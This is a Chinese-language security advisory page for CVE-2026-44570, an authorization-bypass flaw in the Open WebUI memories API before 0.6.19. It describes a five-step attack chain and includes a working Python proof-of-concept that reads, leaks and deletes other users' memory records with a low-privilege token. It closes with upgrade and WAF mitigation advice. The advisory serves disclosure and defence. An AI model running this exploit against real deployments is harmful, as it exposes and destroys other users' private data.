IPBUF安全漏洞报告
English
CVE-2026-44570 CVSS 8.3 高危

CVE-2026-44570 Open WebUI权限绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44570
漏洞类型
权限绕过
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

权限绕过越权访问Open WebUIAPI安全CVE-2026-44570

漏洞概述

Open WebUI在0.6.19之前的版本中存在权限控制缺失问题,导致普通用户可绕过验证查看、删除及恢复其他用户的记忆数据。攻击者利用API端点的逻辑漏洞,无需管理员权限即可获取敏感信息并篡改数据。

技术细节

该漏洞源于Open WebUI memories API的授权机制不一致。首先,低权限用户通过POST /api/v1/memories/query请求,可遍历查询到系统中其他用户的记忆内容。其次,调用POST /api/v1/memories/{id}/update时,即便无修改权限,服务器响应也会包含该ID对应的记忆数据,导致信息泄露。此外,DELETE /api/v1/memories/{id}接口未校验所有权,允许任意用户删除记忆,随后利用更新接口可恢复被删除的数据。这构成了严重的越权访问链。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标运行的是Open WebUI且版本低于0.6.19。
STEP 2
2. 获取凭证
攻击者注册或获取一个普通(非管理员)用户账号的API Token。
STEP 3
3. 越权查询
攻击者利用POST /api/v1/memories/query接口读取所有用户的记忆数据。
STEP 4
4. 信息泄露
通过向特定memory_id发送更新请求,利用响应包泄露目标记忆的详细内容。
STEP 5
5. 数据破坏
利用DELETE接口删除他人记忆,或利用更新接口恢复已删除数据,破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration target_url = "http://localhost:3000" attacker_token = "<LOW_PRIV_USER_TOKEN>" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Step 1: Query all memories (IDOR) print("[+] Attempting to query memories...") query_resp = requests.post(f"{target_url}/api/v1/memories/query", headers=headers) if query_resp.status_code == 200: print("[+] Successfully retrieved memories:") print(json.dumps(query_resp.json(), indent=2)) else: print("[-] Failed to query memories.") # Step 2: Leak specific memory content via update endpoint memory_id = "TARGET_MEMORY_ID_HERE" print(f"\n[+] Attempting to leak content of memory ID: {memory_id}") payload = {"content": "test"} leak_resp = requests.post(f"{target_url}/api/v1/memories/{memory_id}/update", headers=headers, json=payload) if leak_resp.status_code == 200: print("[+] Successfully leaked memory content:") print(json.dumps(leak_resp.json(), indent=2)) # Step 3: Delete memory print(f"\n[+] Attempting to delete memory ID: {memory_id}") del_resp = requests.delete(f"{target_url}/api/v1/memories/{memory_id}", headers=headers) if del_resp.status_code == 200: print("[+] Memory deleted successfully.")

影响范围

Open WebUI < 0.6.19

防御指南

临时缓解措施
建议立即升级至修复版本0.6.19。若无法立即升级,应通过反向代理或WAF拦截普通用户对Memories API写操作(DELETE/POST)的请求,仅保留必要读权限,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表